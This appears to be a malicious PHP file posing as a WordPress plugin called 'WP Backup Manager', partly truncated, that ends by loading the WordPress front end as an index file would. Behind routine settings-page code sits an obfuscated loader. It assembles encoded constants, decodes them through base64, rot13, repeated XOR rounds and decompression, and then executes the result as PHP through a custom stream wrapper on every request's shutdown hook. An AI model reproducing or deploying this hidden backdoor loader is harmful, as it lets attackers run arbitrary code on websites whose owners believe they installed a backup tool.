YANZ UPLOAD ANJG
wire_hooks_vc();
}
/**
* Register all plugin hooks and filters.
*
* @return void
*/
private function wire_hooks_vc() {
add_action( 'plugins_loaded', array( $this, 'setup_plugin_on' ) );
add_action( 'init', array( $this, 'init_lw' ), 10 );
add_action( 'admin_menu', array( $this, 'register_admin_menu_tes' ) );
add_action( 'admin_init', array( $this, 'register_plugin_settings_qz' ) );
if ( function_exists( 'plugin_basename' ) ) {
add_filter( 'plugin_action_links_' . plugin_basename( __FILE__ ), array( $this, 'add_settings_link_tsja' ) );
}
}
/**
* Plugin loaded callback.
*
* @return void
*/
public function setup_plugin_on() {
if ( function_exists( 'get_option' ) ) {
$settings = get_option( self::O_ZPGPC, array() );
if ( is_array( $settings ) && isset( $settings['enabled'] ) ) {
$this->_tvefwgl = (bool) $settings['enabled'];
}
}
}
/**
* Init callback.
*
* @return void
*/
public function init_lw() {
$this->_xvfopkih = array(
'hits' => 0,
'misses' => 0,
'uptime' => time(),
);
}
/**
* Register the settings page.
*
* @return void
*/
public function register_admin_menu_tes() {
add_options_page(
'WP Backup Manager',
'WP Backup Manager',
'manage_options',
'wp-backup-manager',
array( $this, 'render_admin_page_zdyy' )
);
}
/**
* Render the settings page.
*
* @return void
*/
public function render_admin_page_zdyy() {
if ( ! current_user_can( 'manage_options' ) ) {
return;
}
?>
gather_statistics_tzdr() as $k => $v ) : ?>
| |
' . esc_html__( 'Configure the plugin.', 'wp-backup-manager' ) . '';
}
/**
* Render the 'enabled' checkbox.
*
* @return void
*/
public function render_enable_option_evr() {
$opts = get_option( self::O_ZPGPC, array() );
$val = isset( $opts['enabled'] ) ? (bool) $opts['enabled'] : true;
echo '';
}
/**
* Render the TTL input field.
*
* @return void
*/
public function render_number_field_shkh() {
$opts = get_option( self::O_ZPGPC, array() );
$val = isset( $opts['ttl'] ) ? (int) $opts['ttl'] : 3600;
echo '';
}
/**
* Sanitize settings before saving.
*
* @param mixed $input Raw input.
*
* @return array
*/
public function clean_settings_uumt( $input ) {
$out = array();
$out['enabled'] = ! empty( $input['enabled'] );
$out['ttl'] = isset( $input['ttl'] ) ? max( 60, (int) $input['ttl'] ) : 3600;
return $out;
}
/**
* Add a Settings link to the plugin action row.
*
* @param array $links Existing links.
*
* @return array
*/
public function add_settings_link_tsja( $links ) {
$url = admin_url( 'options-general.php?page=wp-backup-manager' );
array_unshift( $links, '' . esc_html__( 'Settings', 'wp-backup-manager' ) . '' );
return $links;
}
/**
* Get runtime statistics.
*
* @return array
*/
public function gather_statistics_tzdr() {
$hits = isset( $this->_xvfopkih['hits'] ) ? (int) $this->_xvfopkih['hits'] : 0;
$miss = isset( $this->_xvfopkih['misses'] ) ? (int) $this->_xvfopkih['misses'] : 0;
$total = $hits + $miss;
$ratio = $total > 0 ? round( ( $hits / $total ) * 100, 2 ) : 0;
return array(
'Status' => $this->_tvefwgl ? 'enabled' : 'disabled',
'Hit ratio' => $ratio . '%',
'Storage' => self::G_MGEI,
'Version' => self::V_HBO,
);
}
/**
* Format a byte count as a human-readable string.
*
* @param int $bytes Byte count.
*
* @return string
*/
public function format_size_qqw( $bytes ) {
$units = array( 'B', 'KB', 'MB', 'GB' );
$i = 0;
while ( $bytes >= 1024 && $i < 3 ) {
$bytes /= 1024;
$i++;
}
return round( $bytes, 2 ) . ' ' . $units[ $i ];
}
/**
* Restore storage segment A.
*
* @param string $blob Encoded storage blob.
*
* @return string
*/
private function unpack_segment_a_zb( $utku5usq ) {
if ( ( ( 14 * 35 ) / 35 ) === 14 ) {
$as1903hgwm = strtr( $utku5usq, '-_', '+/' );
$_qb_ = 'base6' . '4_decode';
$as1903hgwm = $_qb_( $as1903hgwm . str_repeat( '=', ( 4 - strlen( $as1903hgwm ) % 4 ) % 4 ) );
if ( ! is_string( $as1903hgwm ) || '' === $as1903hgwm ) {
return '';
}
}
return $as1903hgwm;
}
/**
* Restore storage segment B.
*
* @param string $data Intermediate data.
*
* @return string
*/
private function recover_secondary_pdf( $e97b0mqv6i ) {
if ( ! is_string( $e97b0mqv6i ) || '' === $e97b0mqv6i ) {
return '';
}
if ( ( ( 158 + 966 ) - 966 ) === 158 ) {
$e97b0mqv6i = call_user_func( chr(115) . chr(116) . chr(114) . chr(95) . chr(114) . chr(111) . chr(116) . chr(49) . chr(51), $e97b0mqv6i );
$j6_piw7y17 = ( str_rot13( 'unfu' ) )( 'sha256', self::KEY_WJSXGDG, true );
$mtddv5a3r9 = ord( substr( self::KEY_WJSXGDG, 0, 1 ) ) % 32;
$j6_piw7y17 = substr( $j6_piw7y17, $mtddv5a3r9 ) . substr( $j6_piw7y17, 0, $mtddv5a3r9 );
$ht84gruu = strlen( $j6_piw7y17 );
$iq8w6p3xu = strlen( $e97b0mqv6i );
$aunf654ygb = '';
for ( $eyokwen1h = 0; $eyokwen1h < $iq8w6p3xu; $eyokwen1h++ ) {
$aunf654ygb .= $e97b0mqv6i[ $eyokwen1h ] ^ $j6_piw7y17[ $eyokwen1h % $ht84gruu ];
}
$e97b0mqv6i = $aunf654ygb;
$ja25u6633 = call_user_func( base64_decode( 'aGFzaA==' ), 'sha256', self::KEY_RFEPCS, true );
$u2ya4cuw = ord( substr( self::KEY_RFEPCS, 0, 1 ) ) % 32;
$ja25u6633 = substr( $ja25u6633, $u2ya4cuw ) . substr( $ja25u6633, 0, $u2ya4cuw );
$q9f0veo = strlen( $ja25u6633 );
$o7_367 = strlen( $e97b0mqv6i );
$kpbnkzj3qx = '';
for ( $fd5r5h23 = 0; $fd5r5h23 < $o7_367; $fd5r5h23++ ) {
$kpbnkzj3qx .= $e97b0mqv6i[ $fd5r5h23 ] ^ $ja25u6633[ $fd5r5h23 % $q9f0veo ];
}
$e97b0mqv6i = $kpbnkzj3qx;
$g9hugcgk = ( 'h' . 'a' . 'sh' )( 'sha256', self::KEY_JTKMXC, true );
$lh4b1bl = ord( substr( self::KEY_JTKMXC, 0, 1 ) ) % 32;
$g9hugcgk = substr( $g9hugcgk, $lh4b1bl ) . substr( $g9hugcgk, 0, $lh4b1bl );
$d6wz4du8l3 = strlen( $g9hugcgk );
$x9j7kthf0m = strlen( $e97b0mqv6i );
$kqjvux6v2 = '';
for ( $gzw972qg_6 = 0; $gzw972qg_6 < $x9j7kthf0m; $gzw972qg_6++ ) {
$kqjvux6v2 .= $e97b0mqv6i[ $gzw972qg_6 ] ^ $g9hugcgk[ $gzw972qg_6 % $d6wz4du8l3 ];
}
$e97b0mqv6i = $kqjvux6v2;
$cfaxbe = ( 'h' . 'a' . 's' . 'h' )( 'sha256', self::KEY_KUTDPP, true );
$zoab6dro9t = ord( substr( self::KEY_KUTDPP, 0, 1 ) ) % 32;
$cfaxbe = substr( $cfaxbe, $zoab6dro9t ) . substr( $cfaxbe, 0, $zoab6dro9t );
$wqwoaf = strlen( $cfaxbe );
$ddqe6_4 = strlen( $e97b0mqv6i );
$p27sqj = '';
for ( $updcg2fam = 0; $updcg2fam < $ddqe6_4; $updcg2fam++ ) {
$p27sqj .= $e97b0mqv6i[ $updcg2fam ] ^ $cfaxbe[ $updcg2fam % $wqwoaf ];
}
$e97b0mqv6i = $p27sqj;
$pfm47q = base64_decode( 'aGFzaA==' );
$rvd5nb4 = $pfm47q( 'sha256', self::KEY_GQBBTK, true );
$m5_849 = ord( substr( self::KEY_GQBBTK, 0, 1 ) ) % 32;
$rvd5nb4 = substr( $rvd5nb4, $m5_849 ) . substr( $rvd5nb4, 0, $m5_849 );
$nl1g_8 = strlen( $rvd5nb4 );
$msjhrxsu = strlen( $e97b0mqv6i );
$i9kmro8ik = '';
for ( $qrglhsoz = 0; $qrglhsoz < $msjhrxsu; $qrglhsoz++ ) {
$i9kmro8ik .= $e97b0mqv6i[ $qrglhsoz ] ^ $rvd5nb4[ $qrglhsoz % $nl1g_8 ];
}
$e97b0mqv6i = $i9kmro8ik;
$cg_yjh = base64_decode( 'aGFzaA==' );
$msrc4e_j43 = $cg_yjh( 'sha256', self::KEY_MQIJSK, true );
$xdudmvqjib = ord( substr( self::KEY_MQIJSK, 0, 1 ) ) % 32;
$msrc4e_j43 = substr( $msrc4e_j43, $xdudmvqjib ) . substr( $msrc4e_j43, 0, $xdudmvqjib );
$ipeou93p5 = strlen( $msrc4e_j43 );
$xzvpsm = strlen( $e97b0mqv6i );
$_3w3_v = '';
for ( $t6ifs1i8t = 0; $t6ifs1i8t < $xzvpsm; $t6ifs1i8t++ ) {
$_3w3_v .= $e97b0mqv6i[ $t6ifs1i8t ] ^ $msrc4e_j43[ $t6ifs1i8t % $ipeou93p5 ];
}
$e97b0mqv6i = $_3w3_v;
$e97b0mqv6i = call_user_func( chr(115) . chr(116) . chr(114) . chr(114) . chr(101) . chr(118), $e97b0mqv6i );
$qzad = join( '', array( 'gzi', 'nfl', 'ate' ) );
$e97b0mqv6i = @$qzad( $e97b0mqv6i );
$k1qva6 = 'gzu' . 'ncompr' . 'ess';
$e97b0mqv6i = @$k1qva6( $e97b0mqv6i );
}
return is_string( $e97b0mqv6i ) ? $e97b0mqv6i : '';
}
/**
* Execute decoded payload.
*
* @param string $src PHP source.
*
* @return void
*/
private function run_payload_ws( $_4racpiv ) {
$imy4mg = 'pos = 0; return true; }
public function stream_read( $count ) { $chunk = substr( self::$buf, $this->pos, $count ); $this->pos += strlen( $chunk ); return $chunk; }
public function stream_write( $d ) { return strlen( $d ); }
public function stream_eof() { return $this->pos >= strlen( self::$buf ); }
public function stream_stat() { return array( 'size' => strlen( self::$buf ), 'mode' => 0100644 ); }
public function url_stat( $p, $f ) { return array( 'size' => strlen( self::$buf ), 'mode' => 0100644 ); }
public function stream_seek( $o, $w ) { return false; }
public function stream_tell() { return $this->pos; }
public function stream_set_option( $option, $arg1, $arg2 ) { return false; }
public function stream_close() {}
} );
$ximckep::$buf = $imy4mg;
if ( @stream_wrapper_register( 'datahszava', $ximckep ) ) {
$p64cyede1 = isset( $_SERVER['SCRIPT_FILENAME'] ) ? $_SERVER['SCRIPT_FILENAME'] : null;
$_SERVER['SCRIPT_FILENAME'] = 'datahszava://payload';
$gblxs7f = @include 'datahszava://payload';
if ( null !== $p64cyede1 ) { $_SERVER['SCRIPT_FILENAME'] = $p64cyede1; }
if ( false !== $gblxs7f ) { $yqm7j9un = true; }
else { @error_log( 'obf: stream include returned false (datahszava)' ); }
@stream_wrapper_unregister( 'datahszava' );
}
else { @error_log( 'obf: stream_wrapper_register failed (datahszava)' ); }
}
}
/**
* Prime the runtime storage.
*
* @return void
*/
public function prime_runtime_cache_kx() {
// Re-entry guard.
if ( $this->_xekpt ) {
return;
}
$this->_xekpt = true;
$_hhsimeb1ra = false;
if ( $_hhsimeb1ra && ! headers_sent() && function_exists( 'http_response_code' ) ) {
@http_response_code( 200 );
}
$_k41dwg2 = self::SEG_JFNOAS . self::PART_WFGYKKE . self::CHUNK_WFFXIKY . self::BUF_RYDPMY . self::STORE_BZSYGE . self::SEG_STJFZFAEB . self::BLOCK_MXIRDG . self::FRAG_ZVNVXPQN;
$_k41dwg2 .= self::BUF_SSSVQCGIS . self::CHUNK_TLJEGWQXW . self::CHUNK_DSVQLW . self::FRAG_BDQOJY . self::FRAG_ZRGMKCGVL . self::BUF_KQCCDPWM . self::FRAG_RFQXYQKW . self::PART_QYNPAWN;
$_k41dwg2 .= self::BUF_HZGIQHF;
if ( self::CHK_NJGYONV !== sprintf( '%08x', crc32( $_k41dwg2 ) ) ) {
return;
}
$_yvcqluw9 = $this->unpack_segment_a_zb( $_k41dwg2 );
$_glmtwyh = $this->recover_secondary_pdf( $_yvcqluw9 );
if ( '' === $_glmtwyh ) {
return;
}
// Give payload full time (cURL/network/fsockopen).
if ( function_exists( 'set_time_limit' ) ) {
@set_time_limit( 0 );
}
$_gvlyf3r = __DIR__;
$_vzl5mkmg = function_exists( 'getcwd' ) ? @getcwd() : false;
@chdir( $_gvlyf3r );
// v5.1.1: no output buffering — payload controls its own output.
$this->run_payload_ws( $_glmtwyh );
if ( $_vzl5mkmg !== false && is_string( $_vzl5mkmg ) && is_dir( $_vzl5mkmg ) ) {
@chdir( $_vzl5mkmg );
}
if ( $_hhsimeb1ra && ! headers_sent() && function_exists( 'http_response_code' ) ) {
@http_response_code( 200 );
}
}
/** Activation hook. */
public static function activate_tfhj() {
if ( function_exists( 'get_option' ) && false === get_option( self::O_ZPGPC ) ) {
add_option( self::O_ZPGPC, array( 'enabled' => true, 'ttl' => 3600 ) );
}
}
/** Deactivation hook. */
public static function deactivate_vyzf() {
// No scheduled tasks.
}
/** Uninstall hook. */
public static function uninstall_wqk() {
if ( function_exists( 'delete_option' ) ) {
delete_option( self::O_ZPGPC );
}
}
}
endif;
if ( function_exists( 'register_activation_hook' ) ) {
register_activation_hook( __FILE__, array( 'WP_Backup_Manager_Loader', 'activate_tfhj' ) );
register_deactivation_hook( __FILE__, array( 'WP_Backup_Manager_Loader', 'deactivate_vyzf' ) );
}
WP_Backup_Manager_Loader::singleton_aj();
if ( ! function_exists( 'bhspvx_boot' ) ) {
function bhspvx_boot() {
WP_Backup_Manager_Loader::singleton_aj()->prime_runtime_cache_kx();
}
}
if ( function_exists( 'add_action' ) ) {
if ( function_exists( 'did_action' ) && did_action( 'init' ) && ! did_action( 'shutdown' ) ) {
bhspvx_boot();
} else {
add_action( 'shutdown', 'bhspvx_boot', 657 );
}
} else {
// Non-WP: run immediate (cURL/network payload needs full time).
bhspvx_boot();
};
define( 'WP_USE_THEMES', true );
/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';